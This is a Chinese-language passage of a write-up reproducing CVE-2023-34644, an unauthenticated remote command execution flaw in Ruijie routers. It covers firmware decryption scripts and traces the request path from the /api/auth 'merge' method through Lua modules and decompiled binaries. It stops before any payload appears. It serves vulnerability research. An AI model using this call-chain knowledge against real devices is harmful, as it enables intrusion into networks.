站在巨人肩膀上复现CVE-2023-34644

前言

winmt 师傅之前挖到了一个锐捷的未授权 RCE 漏洞,影响了该厂商下的众多路由器、交换机、中继器等设备。winmt 师傅已经发布了 相关的挖掘经历,对仿真的搭建和漏洞分析已经写的比较详细。本篇文章主要是自己对该漏洞调用链进行一个完整的梳理,以及在 winmt 师傅文章中未提到的部分我会进行记录。特别感谢 winmt 师傅在我复现期间多次解答我的各种困惑

本文分析的固件为 EW_3.0(1)B11P204_EW1200GI(已解密) 百度网盘链接:https://pan.baidu.com/s/1RutoNCTiGBiW74YpzKXfxg?pwd=vht7 提取码:vht7

固件解密

上面已经提供了解密后的固件,但目前从锐捷官网下载的固件都是被加密的。此处记录一下解密的三种思路

  1. 寻找过渡版本的固件,如果一个路由器型号最初版本为 x001 此时并没有加密 ,然后在 x005 版本开始对固件进行加密了。那么 x004 就是过渡版本的固件,为了从 x004 升级到 x005 固件,一定会在 x004 的文件系统里存放 x005 固件的解密脚本,不然路由器就无法解开 x005 的固件进行升级了,如果能从官网上下载到过渡版本的固件,去寻找其中的解密程序,编写一个解密脚本即可(不过就锐捷的固件而言,我并没有在官网上找到过渡版本的固件,疑似被下架了)
  2. 购买真机,直接从芯片中提取文件系统(目前未尝试过)
  3. 对加密后的固件直接分析,寻找一些特征或有规律的字节码,尝试编写其解密脚本

下面对第三种思路,进行详细介绍

EW_3.0(1)B11P219_EW1200I_10200109_install_encypto.bin 固件为例(官网上可以直接下载,不再提供链接)

直接用 binwalk 解压是失败的

image-20230912112845555

010 Editor 打开,查看文件的末尾发现存在大量重复的字节码 0x80

image-20230912112712262

winmt 师傅给我说通常文件末尾会填充大量的 \xff 或者 \x00 字节码,这里有大量的重复字节码 0x80 ,猜测可能是单字节异或 key 得到的。尝试拿 0xff0x80 进行异或,得到疑似 key0x7f

用下面的脚本,读取加密固件的字节码,逐字节与 0x7f 进行异或,得到一个新的文件

import sys

def jiemi(input_file, output_file):
try:
with open(input_file, 'rb') as infile:
with open(output_file, 'wb') as outfile:
byte = infile.read(1)
while byte:
byte_value = ord(byte)
xor_result = byte_value ^ 0x7f
outfile.write(bytes([xor_result]))
byte = infile.read(1)
print(f"File {input_file} successfully decrypted to {output_file}")
except Exception as e:
print(f"Error: {str(e)}")

if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python exp.py input_file output_file")
else:
input_filename = sys.argv[1]
output_filename = sys.argv[2]
jiemi(input_filename, output_filename)

image-20230912114545222

可以看到 binwalk 成功识别了固件,并成功解压出文件系统

image-20230912114656903

拿到文件系统后,可以去寻找负责加解密的程序 /usr/sbin/rg-upgrade-crypto ,对二进制文件 /usr/sbin/rg-upgrade-crypto 进行分析可以写出解密脚本,下面是 winmt 师傅编写的解密脚本

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <malloc.h>
#include <sys/stat.h>

typedef unsigned char uint8_t;
#define BYTE(x, n) (*((uint8_t *)&(x)+n))

void error_msg(char *msg)
{
puts(msg);
exit(-1);
}

int num1 = 1, num2 = 0x10001;

void decrypt(uint8_t *enc_buf, uint8_t *dec_buf, int length)
{
for (int i = 0; i < length; i++)
{
int sum = (uint8_t)num1 + (uint8_t)num2 + BYTE(num2, 1) + BYTE(num2, 2);
BYTE(num2, sizeof(num2)/sizeof(uint8_t)-1) = sum % 2;

for (int j = 0; j < 6; j++)
*((uint8_t *)&num1 + j) = *((uint8_t *)&num1 + j + 1);

uint8_t key = 0;
for (int k = 0; k < 8; k++)
key |= *((uint8_t *)&num1 + k) << k;
*(uint8_t *)(dec_buf + i) = *(uint8_t *)(enc_buf + i) ^ key;
}
}

int main(int argc, char **argv, const char **envp)
{
if (argc < 2) error_msg("Usage: ./rg-decrypt [encrypted_firmware_path]");

char *enc_path = strdup(argv[1]);
char *dec_path = malloc(strlen(argv[1]) + 0x10);
strcpy(dec_path, argv[1]);
strcat(dec_path, ".decrypted");

struct stat stat_buf;
int stat_fd = stat(enc_path, &stat_buf);
if (stat_fd < 0) error_msg("The encrypted firmware does not exist !");
int size = stat_buf.st_size;

uint8_t *enc_buf = (uint8_t *)malloc(0x1000);
uint8_t *dec_buf = (uint8_t *)malloc(0x1000);

int enc_fd = open(enc_path, O_RDONLY);
if (enc_fd < 0) error_msg("Error to open the encrypted firmware !");

int dec_fd = open(dec_path, O_WRONLY | O_CREAT, S_IREAD | S_IWRITE | S_IRGRP);
if (dec_fd < 0) error_msg("Error to create the decrypted firmware !");

if (read(enc_fd, enc_buf, 22) != 22) error_msg("Error to read from the encrypted firmware !");
size -= 22;

while(size > 0)
{
int len = size;
if (size > 0x1000) len = 0x1000;

memset(enc_buf, 0, sizeof(enc_buf));
memset(dec_buf, 0, sizeof(dec_buf));

if (read(enc_fd, enc_buf, len) != len) error_msg("Error to read from the encrypted firmware !");
decrypt(enc_buf, dec_buf, len);
if (write(dec_fd, dec_buf, len) != len) error_msg("Error to write into the decrypted firmware !");
size -= len;
}

free(enc_buf);
free(dec_buf);
close(enc_fd);
close(dec_fd);
return 0;
}

如果仔细研究下解密脚本能够发现,固件异或的 key 并不是一直为 0x7f ,在最初的几轮异或中 key 是在变化的,key 经过几轮迭代后才变成了固定的 0x7f ,好在没有影响到后面的文件系统的完整性。

lua文件的调用链分析

/usr/lib/ 路径下存在一个 lua 目录,其中存放了很多 lua 文件。主要作用是对前端传入的数据做了一些简单处理和判断,然后将数据传递给二进制文件进一步处理

/usr/lib/lua/luci/controller/eweb/api.lua 文件中,配置了路由 entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false

这意味着当用户访问 /api/auth 路径时,将调用 rpc_auth 函数。在 luci 框架中 sysauth 属性控制是否需要系统级的用户认证才能访问该路由,这里的 sysauth 属性为 false ,表示无需进行系统认证即可访问。

rpc_auth 函数首先引入了一些模块(代码如下),然后获取 HTTP_CONTENT_LENGTH 的长度是否大于 1000 字节,如果不大于的话会将准备 HTTP 响应的类型设置为 application/json ,下面的 handle 函数第一个参数 _tbl 传入的是 luci.modules.noauth 文件返回的内容,变量类型为 table (该 table 包含了 noauth 文件中定义的四个函数 login singleLogin merge checkNet

function rpc_auth()
local jsonrpc = require "luci.utils.jsonrpc"
local http = require "luci.http"
local ltn12 = require "luci.ltn12"
local _tbl = require "luci.modules.noauth"
if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
http.prepare_content("text/plain")
-- http.write({code = "1", err = "too long data"})
return "too long data"
end
http.prepare_content("application/json")
ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

下面分析 luci.utils.jsonrpc 文件中的 handle 函数,它主要是把参数 tbl 以及报文中的 method 字段传入给了 resolve 函数

function handle(tbl, rawsource, ...)
......
if stat then
if type(json.method) == "string" then
local method = resolve(tbl, json.method)
if method then
response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
......
end

resolve 函数的作用跟它的名字一样,来解析出 method 字段对应的函数(报文中写成 "method": "merge" 具体的原因 winmt 师傅文章 中写的很清楚),通过遍历 mod (表中存储了四种方法),然后通过 rawget 获取表中键为 path[j] (也就是 merge )的值并赋值给 mod ,此时 mod 就表示 noauth.lua 文件中的 merge 函数

function resolve(mod, method)
local path = luci.util.split(method, ".")

for j = 1, #path - 1 do
if not type(mod) == "table" then
break
end
mod = rawget(mod, path[j])
if not mod then
break
end
end
mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
if type(mod) == "function" then
return mod
end
end

发现代码 proxy(method, json.params or {}) ,这表示 merge 函数作为参数传入给了 proxy 中,这里的 method 又传入了 luci.util 文件中的 copcall 函数

function proxy(method, ...)
local tool = require "luci.utils.tool"
local res = {luci.util.copcall(method, ...)}
......
end

copcall 函数主要是对 coxpcall 的一个封装

function copcall(f, ...)
return coxpcall(f, copcall_id, ...)
end

终于在 coxpcall 函数内部发现调用了 foldpcall(coroutine.create, f) 这行代码的目的是在一个新的协程中运行函数 f ,因此执行到这里 merge 函数被触发

function coxpcall(f, err, ...)
local res, co = oldpcall(coroutine.create, f)
......
end

下面开始分析 merge 函数(本篇文章只能算是对 winmt 师傅写的文章进行一个补充,这里不介绍为什么是调用 merge 函数而不是调用其他函数,就是因为在 winmt 师傅写的 文章 中已经对这部分进行了详细的介绍),该函数的内部调用了 luci.modules.cmd 文件中的 devSta.set 函数

function merge(params)
local cmd = require "luci.modules.cmd"
return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end

这个 devSta.set 函数的定义如下,先是调用了 doParams 函数对 json 数据进行解析,随后调用了 fetch 函数

devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end

这个 fetch 函数在 cmd.lua 文件中已经定义了,这里调用了 fn 也就是 fetch 函数传入进来的 model.fetch

local function fetch(fn, shell, params, ...)
require "luci.json"
local tool = require "luci.utils.tool"
local _start = os.time()
local _res = fn(...)
......
end

modeldev_sta 文件的返回结果,因此 model.fetch 实际上是 dev_sta 文件中的 fetch 函数,该函数定义如下,能够看到最后是调用了 /usr/lib/lua/libuflua.so 文件中的 client_call 函数

function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
local uf_call = require "libuflua"
......
local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
return stat
end

IDA 打开 /usr/lib/lua/libuflua.so 文件,并没有看到定义的 client_call 函数,不过发现了 uf_client_call 函数,猜测是程序内部进行了关联。shift+f12 搜索字符串发现并没有看到字符串 client_call (如下图)

image-20230822105021327

大概率说明 IDA 没有把 client_call 解析成字符串,而是解析成了代码。我这里用 010Editor 打开该文件进行搜索字符串 client_call,成功搜索到后发现其地址位于 0xff0

image-20230822105722385

可以看到 IDA 确实是将 0xff0 位置的数据当做了代码来解析,选中这部分数据,按 a ,就能以字符串的形式呈现了

image-20230822105929868

image-20230822110053012

对字符串 client_call 进行交叉引用,发现最终调用位置如下,luaL_registerLua 中注册 C 语言编写的函数,它作用是将 C 函数添加到一个 Lua 模块中,使得这些 C 函数能够从 Lua 代码中被调用

image-20230822111240902

该函数的原型如下

void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l);
  • lua_State *LLua 状态指针,代表了一个 Lua 解释器实例。
  • const char *libname:模块的名称,这个名称会在 Lua 中作为一个全局变量存在,存放模块的函数。
  • const luaL_Reg *l:一个结构体数组,包含要注册到模块中的函数的信息。每个结构体包含函数的名称和相应的 C 函数指针

这里重点关注第三个参数,这就说明 0x1101C 的位置存放的是一个字符串以及一个函数指针(如下图),因此判断出 client_call 实际就定义在了 sub_A00

image-20230822111950548

sub_A00 函数定义如下,可以看到最后是调用了 uf_client_call 函数,而在这之前的很多赋值操作如 *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0); ,很容易能猜测到其实是在解析 Lua 传入的各个参数字段。在 Lua 的代码中 uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi) 这里传入了多个参数,但是 sub_A00 函数就一个参数 a1 ,结合的操作分析出这里是在解析参数

int __fastcall sub_A00(int a1)
{
v13[0] = 0;
v2 = malloc(52);
v3 = v2;
if ( v2 )
{
memset(v2, 0, 52);
v5 = 4;
*(_DWORD *)v3 = luaL_checkinteger(a1, 1);
*(_DWORD *)(v3 + 4) = luaL_checklstring(a1, 2, 0);
v6 = luaL_checklstring(a1, 3, 0);
v7 = *(_DWORD *)v3;
*(_DWORD *)(v3 + 8) = v6;
if ( v7 != 3 )
{
*(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
*(_BYTE *)(v3 + 41) = lua_toboolean(a1, 5) == 1;
v5 = 6;
*(_BYTE *)(v3 + 40) = 1;
}
*(_DWORD *)(v3 + 20) = lua_tolstring(a1, v5, 0);
*(_DWORD *)(v3 + 24) = lua_tolstring(a1, v5 + 1, 0);
v8 = v5 + 2;
if ( *(_DWORD *)v3 )
{
if ( *(_DWORD *)v3 == 2 )
{
v8 = v5 + 3;
*(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
}
}
else
{
*(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
v8 = v5 + 4;
*(_BYTE *)(v3 + 44) = lua_toboolean(a1, v5 + 3) == 1;
}
*(_BYTE *)(v3 + 48) = lua_toboolean(a1, v8) == 1;
v4 = uf_client_call(v3, v13, 0);
}
......

uf_client_call 函数是一个引用外部库的函数,用 grep 在整个文件系统搜索字符串 uf_client_call ,结合 /usr/lib/lua/libuflua.so 文件中引用的外部库进行分析,最终判断出 uf_client_call 函数定义在 /usr/lib/libunifyframe.so

image-20230822132450393

IDA/usr/lib/libunifyframe.so 文件进行分析,看到 uf_client_call 函数首先判断了 method 的类型,然后解析出报文中各字段的值,并将其键值对添加到一个 JSON 对象中,接着将最终处理好的 JSON 对象转换为 JSON 格式的字符串,通过 uf_socket_msg_writesocket 套接字进行数据传输

int __fastcall uf_client_call(_DWORD *a1, int a2, int *a3)
{
......
v5 = json_object_new_object();
......
switch ( *a1 )//这里的*a1指的就是uf_call.client_call函数的第一个参数ctype,他取决于method它在dev_sta.lua文件中被赋值为了2
{
case 0:
v15 = ((int (*)(void))strlen)() + 10;
......
v13 = "acConfig.%s";
goto LABEL_22;
case 1:
v14 = ((int (*)(void))strlen)() + 11;
......
v13 = "devConfig.%s";
goto LABEL_22;
case 2:
v8 = ((int (*)(void))strlen)() + 8;
......
v13 = "devSta.%s";
goto LABEL_22;
case 3:
v16 = ((int (*)(void))strlen)() + 8;
......
v13 = "devCap.%s";
goto LABEL_22;
case 4:
v17 = ((int (*)(void))strlen)() + 7;
......
LABEL_22://接下来使用了大量的json_object_object_add函数,该函数的作用是在已有的JSON对象中添加一个键值对,以json_object_object_add(v20, "remoteIp", v23)函数为例,作用是将{"remote",v23}这个键值对添加到v20所指的JSON对象中,
json_object_object_add(v5, "method", v19);
v20 = json_object_new_object();
......
v21 = json_object_new_string(a1[2]);
json_object_object_add(v20, "module", v21);
v22 = a1[5];
if ( !v22 )
goto LABEL_35;
json_object_object_add(v20, "remoteIp", v23);
LABEL_35:
v25 = a1[6];
if ( v25 )
{
v26 = json_object_new_string(v25);
......
json_object_object_add(v20, "remotePwd", v26);
}
if ( a1[9] )
{
......
json_object_object_add(v20, "buf", v27);
}
if ( *a1 )
{
if ( *a1 != 2 )
{
v28 = *((unsigned __int8 *)a1 + 45);
goto LABEL_58;
}
if ( *((_BYTE *)a1 + 42) )
{
v30 = json_object_new_boolean(1);
if ( v30 )
{
v31 = v20;
v32 = "execute";
goto LABEL_56;
}
}
}
else
{
if ( *((_BYTE *)a1 + 43) )
{
v29 = json_object_new_boolean(1);
if ( v29 )
json_object_object_add(v20, "force", v29);
}
if ( *((_BYTE *)a1 + 44) )
{
v30 = json_object_new_boolean(1);
if ( v30 )
{
v31 = v20;
v32 = "configId_not_change";
LABEL_56:
json_object_object_add(v31, v32, v30);
goto LABEL_57;
}
}
}
LABEL_57:
v28 = *((unsigned __int8 *)a1 + 45);
LABEL_58:
if ( v28 )
{
v33 = json_object_new_boolean(1);
if ( v33 )
json_object_object_add(v20, "from_url", v33);
}
if ( *((_BYTE *)a1 + 47) )
{
v34 = json_object_new_boolean(1);
if ( v34 )
json_object_object_add(v20, "from_file", v34);
}
if ( *((_BYTE *)a1 + 48) )
{
v35 = json_object_new_boolean(1);
if ( v35 )
json_object_object_add(v20, "multi", v35);
}
if ( *((_BYTE *)a1 + 46) )
{
v36 = json_object_new_boolean(1);
if ( v36 )
json_object_object_add(v20, "not_commit", v36);
}
if ( *((_BYTE *)a1 + 40) )
{
v37 = json_object_new_boolean(*((unsigned __int8 *)a1 + 41) ^ 1);
if ( v37 )
json_object_object_add(v20, "async", v37);
}
v38 = (_BYTE *)a1[3];
if ( !v38 || !*v38 )
goto LABEL_78;
v39 = json_object_new_string(v38);
json_object_object_add(v20, "data", v39);
LABEL_78:
v41 = (_BYTE *)a1[4];
if ( v41 && *v41 )
{
v42 = json_object_new_string(v41);
if ( !v42 )
{
json_object_put(v20);
json_object_put(v5);
v40 = 630;
goto LABEL_82;
}
json_object_object_add(v20, "device", v42);
}
json_object_object_add(v5, "params", v20);//将上面的v20当做了params的值,向v5中添加新的键值对
v43 = json_object_to_json_string(v5);//json_object_to_json_string作用是将JSON对象转换为JSON格式的字符串
......
v44 = uf_socket_client_init(0);
......
v50 = strlen(v43);
uf_socket_msg_write(v44, v43, v50);//最终调用uf_socket_msg_write,用socket实现了进程间通信,将解析好的json数据发送给其他进程进行处理
......

既然存在 uf_socket_msg_write 进行数据发送,那么肯定就在一个地方在用 uf_socket_msg_read 函数进行数据的接收,用 grep 进行字符串搜索,发现 /usr/sbin/unifyframe-sgi.elf 文件,并且该文件还位于 /etc/init.d 目录下,这意味着该进程最初就会启动并一直存在,所以判断出这个 unifyframe-sgi.elf 文件就是用来接收 libunifyframe.so 文件所发送过来的数据

image-20230822145039327

二进制文件分析

为了总结 /usr/sbin/unifyframe-sgi.elf 文件中调用链,同时梳理清几个线程和信号量的关系,我画了整体的调用流程图,接下来会分析下图所示的所有函数

image-20230831112201027

读取数据

/usr/sbin/unifyframe-sgi.elf 文件中 main 函数里的 uf_socket_msg_read 函数开始分析(这里是该文件接收数据的最初位置,从这里开始追踪数据会比较明朗,如果单纯的从 main 函数逐行分析,思维会很乱)。uf_socket_msg_read(*v29, v31 + 1) 该函数的第一个参数是文件描述符,第二个参数是接收数据存储的位置(具体定义可以查看 /usr/lib/libunifyframe.so 文件)

下面两张图片为调试 uf_socket_msg_read 函数执行前后的状态

image-20230829133810198

image-20230829134227731

有趣的地方在于很多字段我们没有设置,但上图能看到这些字段依然存在(只不过值是空的字符串),这意味着在数据传输过来之前有地方设置了这些字段

之后 解析字段执行具体操作 的两个函数分别为 parse_content add_pkg_cmd2_task (均位于 main 函数),如下图

image-20230829134431234

解析数据

下图为调试到 parse_content 函数执行前的状态,发现参数是一个结构体地址,其存储了一些地址和数据。

image-20230829134935230

下面对 parse_content 函数进行分析(具体分析已标在注释中)

int __fastcall parse_content(int a1, int a2)
{
......
v3 = *(_DWORD *)(a1 + 4);
v4 = 598;
if ( !v3 )
goto LABEL_4;
v5 = json_tokener_parse(v3, a2);
v6 = v5;
if ( json_object_object_get_ex(v5, "params", &v20) != 1 )//检查了params字段是否存在值,不存在的话直接返回-1
goto LABEL_31;
if ( json_object_object_get_ex(v20, "device", &v19) == 1 && json_object_get_type(v19) == 6 )//检查了是否存在device字段是否存在值以及类型是否为string 这里的判断失败也不会返回-1,意味着这个字段是非必须的
{
v8 = (const char *)json_object_get_string(v19);
......
}
else
{
v8 = 0;
}
if ( json_object_object_get_ex(v6, "method", &v21) != 1 )//method字段也必须要存在
{
LABEL_31:
json_object_put(v6);
return -1;
}
v9 = json_object_get_string(v21);
if ( strstr(v9, "cmdArr") )//method的值不为cmdArr的话,进入else
{
......
}
else
{
......
v17 = parse_obj2_cmd(v6, v8);//进行数据解析的具体位置,v6为json对象
*v16 = v17;
if ( !v17 )
{
......
}
pkg_add_cmd(a1, v16);
v16[2] = 0;
}
json_object_put(v6);
return 0;
}

根据上面的分析可知,具体进行数据解析的位置应该是 parse_obj2_cmd 函数,该函数具体分析如下

int __fastcall parse_obj2_cmd(int a1, int a2)
{
v3 = malloc(52);//创建了一个堆块,用于记录和存储接下来的各种信息,该函数最终会返回这个堆块地址
v5 = v3;
......
memset(v3, 0, 52);
if ( a2 )
*(_DWORD *)(v5 + 16) = strdup(a2);
if ( json_object_object_get_ex(a1, "module", &v46) != 1
|| (v6 = json_object_get_string(v46), (v7 = v6) == 0)
|| strcmp(v6, "esw") )//检查module字段是否存在,存在的话值是否为字符串esw,如果这两个条件有一个不满足,则进入if
{
if ( json_object_object_get_ex(a1, "method", &v46) != 1 )//解析method字段
{
......
}
v16 = json_object_get_string(v46);//获取到method的值,下面去匹配对应的操作,各种操作都对应一个数字,该数字放在了堆块的第一个指针处
v17 = v16;
if ( strstr(v16, "devSta") )
{
v18 = 2;
}
else
{
if ( strstr(v17, "acConfig") )
{
*(_DWORD *)v5 = 0;
goto LABEL_50;
}
if ( strstr(v17, "devConfig") )
{
*(_DWORD *)v5 = 1;
goto LABEL_50;
}
if ( strstr(v17, "devCap") )
{
v18 = 3;
}
else
{
if ( !strstr(v17, "ufSys") )
{
......
}
v18 = 4;
}
}
*(_DWORD *)v5 = v18;
goto LABEL_50;
}
......//此处省略了大部分代码,做的事情依然是字段解析,然后写入内存,就不逐一分析了
if ( json_object_object_get_ex(v47, "data", &v46) == 1 && (unsigned int)(json_object_get_type(v46) - 4) < 3 )//判断params字段中是否存在data,如果存在的话将其赋值给v37,并且检查了data的值类型,只能为object,array,string三种类型,然后将data的值放到堆块的第四个指针处 注意:报文中我并没有设置data字段,但是接收的数据在写入内存之前就被自动添加了data字段
{
v43 = json_object_get_string(v46);
if ( v43 )
{
v44 = strdup(v43);
*(_DWORD *)(v5 + 12) = v44;
if ( !v44 )
{
v9 = 561;
goto LABEL_136;
}
}
}
return v42;
}

解析后各字段的值如下

image-20230829143032518

parse_obj2_cmd 函数结束后,会执行 pkg_add_cmd(a1, v16) ,它的核心作用就是在 a1 这个数据结构中记录了 v16 的指针,使得后续操作通过 a1 访问到刚刚解析出来的各个字段。不过这 pkg_add_cmd 函数里有一个谜之操作,在这行代码中 *(_DWORD *)(a1 + 92) = a2 + 13 是把 a2 也就是 v16 的值加上了 13 存储到了 a1 中,而通过后续的分析得知,之后访问这个 v16 的堆块是通过 *(a1+92)-13 得到的地址。存的时候 +13 ,访问的时候 -13 ,这里没太理解但并不影响我们后续的分析

具体操作

操作关键信号量

解析完成后,直接看 add_pkg_cmd2_task 函数的调试界面,发现参数传入的还是执行 parse_content 函数那个结构体地址

image-20230829143659670

add_pkg_cmd2_task 函数进行分析

int __fastcall add_pkg_cmd2_task(_DWORD *a1)
{
if ( dword_435ECC < 1001 )
{
pthread_mutex_lock(*a1 + 20);
v3 = (_DWORD *)a1[22];
v4 = v3 - 13;//当时存地址时加了13,这里又减了13,所以v4就是上面记录了解析json各字段的那个堆块地址
for ( i = *v3 - 52; ; i = *(_DWORD *)(i + 52) - 52 )
{
if ( v4 + 13 == a1 + 22 )
{
pthread_mutex_unlock(*a1 + 20);
return 0;
}
v6 = malloc(20);
v7 = (int *)v6;
......
v10 = v6 + 4;
v7[2] = v10;
v7[1] = v10;
*v7 = (int)v4;
v7[4] = (int)(v7 + 3);
v7[3] = (int)(v7 + 3);
......
*v7 = (int)v4;
v11 = (_DWORD *)*v4;
v12 = *(_DWORD *)*v4;
if ( v12 == 3 )//这里判断v12就是前面解析method的值,因为发送的是merge(实际传入的就是devSta.set) 所以v12最终在前面被解析成了2
break;
if ( v12 == 4 )
{
gettimeofday(v4 + 5, 0);
uf_sys_handle(*(_DWORD **)*v7, v4 + 1);
LABEL_22:
gettimeofday(v4 + 7, 0);
sub_40B644(v7);
goto LABEL_23;
}
if ( v12 == 2 && !strcmp(v11[1], "get") && !v11[9] && uf_cmd_buf_exist_check(v11[2], 2, v11[3], v4 + 1) )//虽然v12为2了,但我们的字符串是set,并不是get,所以这个if还是进不去
{
*(_DWORD *)(*v7 + 44) = 1;
sub_40B644(v7);
v8 = *v7;
v9 = 2;
goto LABEL_17;
}
sub_40B304((int **)v7);// devSta.set这个字段的话 前面的if都进不去,会触发这里的sub_40B304函数
LABEL_23:
v4 = (int *)i;
}
......
}
v1 = -1;
......
return v1;
}

sub_40B304 函数最关键的作用就是过渡到 sub_40B0B0

image-20230829145958320

int __fastcall sub_40B304(int **a1)
{
v2 = **a1;
if ( *(_DWORD *)v2 == 5 )//根据上图信息得知v2应该是2,这个if进不去
{
LABEL_2:
*(_BYTE *)(v2 + 48) = 1;
if ( byte_435EC9 )//这里是硬编码的1
{
v3 = a1;
v4 = (int (__fastcall *)(int **))sub_40B0B0;//将sub_40B0B0函数指针赋值给v4
return v4(v3);//此处IDA显示有些问题,其实执行的并不是这里的v4(v3)
}
LABEL_28:
v3 = a1;
v4 = sub_40B168;
return v4(v3);//上面的函数指针赋值给v4,最后调用的其实是这里的v4(v3) 调试一下就能看出来
}
v5 = *(const char **)(v2 + 20);//这里v2+20其实为remoteIp字段,因为在lua处理的时候,加上了remoteIp字段(意思是remoteIp字段有值,值为空。并非是remoteIp字段为空),所以这个v5是一个地址,指向了一个空的字符串而已(如果之前没有地方帮我们添加remoteIp字段的话,还需要自己传入一个remoteIp进来)
if ( v5 )
{
v6 = is_self_ip(v5);//传入一个指向空字符串的地址,返回值为0
v7 = *a1;
if ( !v6 )
{
v2 = *v7;
goto LABEL_2;//执行到此处进行跳转
}
v7[11] = 3;
}
}

sub_40B0B0 函数中对关键的信号量进行了操作

int __fastcall sub_40B0B0(_DWORD *a1)
{
_DWORD *v2; // $v1
_DWORD *v3; // $v1
++dword_435ECC;
pthread_mutex_lock(&unk_435E74);
v2 = (_DWORD *)dword_435DC4;
a1[3] = &cmd_task_run_head;
dword_435DC4 = (int)(a1 + 3);
a1[4] = v2;
*v2 = a1 + 3;
v3 = (_DWORD *)dword_435DB4;
a1[2] = dword_435DB4;
dword_435DB4 = (int)(a1 + 1);
a1[1] = &cmd_task_remote_head;
*v3 = a1 + 1;
pthread_mutex_unlock(&unk_435E74);
sem_post(&unk_435E90);//该函数最关键的部分就是此处sem_post对信号量unk_435E90操作
return 0;
}

uf_task_remote_pop_queue 函数中的 sem_wait(&unk_435E90) 本身是卡住了当前线程,而 sub_40B0B0 这里对信号量操作一触发,deal_remote_config_handle 函数就可以继续运行了,uf_task_remote_pop_queue 函数结束,随后就调用了关键的 uf_cmd_call 函数

void __fastcall __noreturn deal_remote_config_handle(int a1)
{
v1 = pthread_self();
pthread_detach(v1);
pthread_setcanceltype(1, 0);
prctl(15, "remote_config_handle");
while ( 1 )
{
do
{
*(_DWORD *)(a1 + 16) = 0;
v3 = uf_task_remote_pop_queue();
*(_DWORD *)(a1 + 16) = v3;
}
while ( !v3 );
......
v5 = uf_cmd_call(*v4, v4 + 1);//关键函数
......
}
}

从uf_cmd_call函数开始

uf_cmd_call 函数执行的地方打上断点,c 过来之后是如下界面,此时输入命令 set scheduler-locking on 将线程锁定(避免后续调试时,在各个线程中下的断点跳来跳去,之后只调试这一个线程)

image-20230829161715801

由于 uf_cmd_call 函数的代码量太长了,这里就不再出示相关代码,只调试和描述几个关键点

image-20230829163240216

首先做了 if 判断,检查操作类型,因为我们这里是 devSta2,所以这个 if 进不去(调试界面如下图)

image-20230829163146277

上面的 if 出来后,就会做这里的判断,这里的 v2devSta.set 中的 set 部分,uf_ex_cmd_type 数组里装了各种操作的字符串例如 set get 之类的,数组里第一个元素就是 set,所以这个 while 进不去

image-20230829170100754

调试界面如下

image-20230829171103707

后面的执行流转折点为 if(!v16) 这里

image-20230829172302135

这个 a1+45 的位置当时解析的时候有一个标志位(如下图),但这个 from_url 并没有特别设置,所以这里就为 0 ,导致进入了 if(!v16) ,执行跳转语句 goto LABEL_86

image-20230829172452094

`

if ( !v103[20] ) 位置的判断,这里的 v103[20] 其实就是 data 字段的值

image-20230829164105564

调试界面如下,因为 !v103[20]FALSE ,所以这个 if 进不去

image-20230829164439766

if ( !v103[7] ) 位置做了判断,调试可知 v103[7]2 ,因此 if 这里进不去,随后直接触发 goto LABEL_174goto LABEL_175

image-20230830095922837

goto LABEL_175 继续往下分析,在 416 的位置 if 进不去,然后通过调试 435 行这里的 if 可以进来

image-20230830100751735

438 行做的检查,判断了偏移 48 的位置是否为 1 ,回顾字段解析的位置可以发现,我们是可以控制这里的值为 1 的(满足下图的条件即可)

image-20230830102023155

但我没控制这个字段,调试过来发现偏移 48 的位置仍然是 1 ,可能是之前某处代码设置了这个位置的值(调试界面如下图),总之这个 if 进不去

image-20230830102517726

由于上面的 if 进不去,那么出来之后直接到了 489 行的位置,此时已经能看到接下来必定会触发 ufm_handle 函数(v103 指向了 uf_cmd_call 函数的参数 a1 ,也就是上文一直提到的存储解析字段的结构体)

image-20230830102817582

命令执行前夕

int __fastcall ufm_handle(int a1)
{
v2 = *(const char **)(a1 + 8);
v4 = *(_DWORD *)(a1 + 20);
v5 = *(_DWORD *)(a1 + 56);
if ( !v2 || !*v2 )//这里是*(a1+8) 为0,并不是(int)(*a1)+8 开始分析的时候我以为这里检查的是module字段
goto LABEL_185;//这里会跳转
v7 = 0;
if ( remote_call(*(_DWORD **)a1, (const char **)(a1 + 88)) == 2 )
{
LABEL_185:
if ( !strcmp(v5, "group_change") || !strcmp(v5, "network") || !strcmp(v5, "network_group") )//v5是module的值 为networkId_merge 因此这个if进不去
sub_40E498(v6);
v8 = strcmp(v4, "get");//v4是set
if ( !v8 )//这个if进不去
{
......
}
if ( !strcmp(v4, "set") || !strcmp(v4, "add") || !strcmp(v4, "del") || !strcmp(v4, "update") )//这里比较set是会通过检查
{
v29 = sub_40FD5C(a1);//触发关键函数
......
}

sub_40FD5C 函数关键代码分析如下

int __fastcall sub_40FD5C(int a1)
{
memset(v52, 0, sizeof(v52));
v2 = *(_BYTE **)(a1 + 80);// v2是data字段的值
if ( !v2 || !*v2 )
return -1;
v3 = *(_DWORD *)(a1 + 28);// v3是2(devSta所导致的)
v4 = v3 < 2;//因为v3是2,所以这里的判断是FALSE v4为0
if ( v3 )
{
v5 = json_object_object_get(*(_DWORD *)(a1 + 92), "sn");// 因为sn字段为空,所以下面的if进入,触发goto LABEL_45
if ( !v5 )
goto LABEL_45;
......
LABEL_45:
v3 = *(_DWORD *)(a1 + 28);
goto LABEL_46;
......
LABEL_46:
v4 = v3 < 2;
goto LABEL_47;
......
LABEL_47:
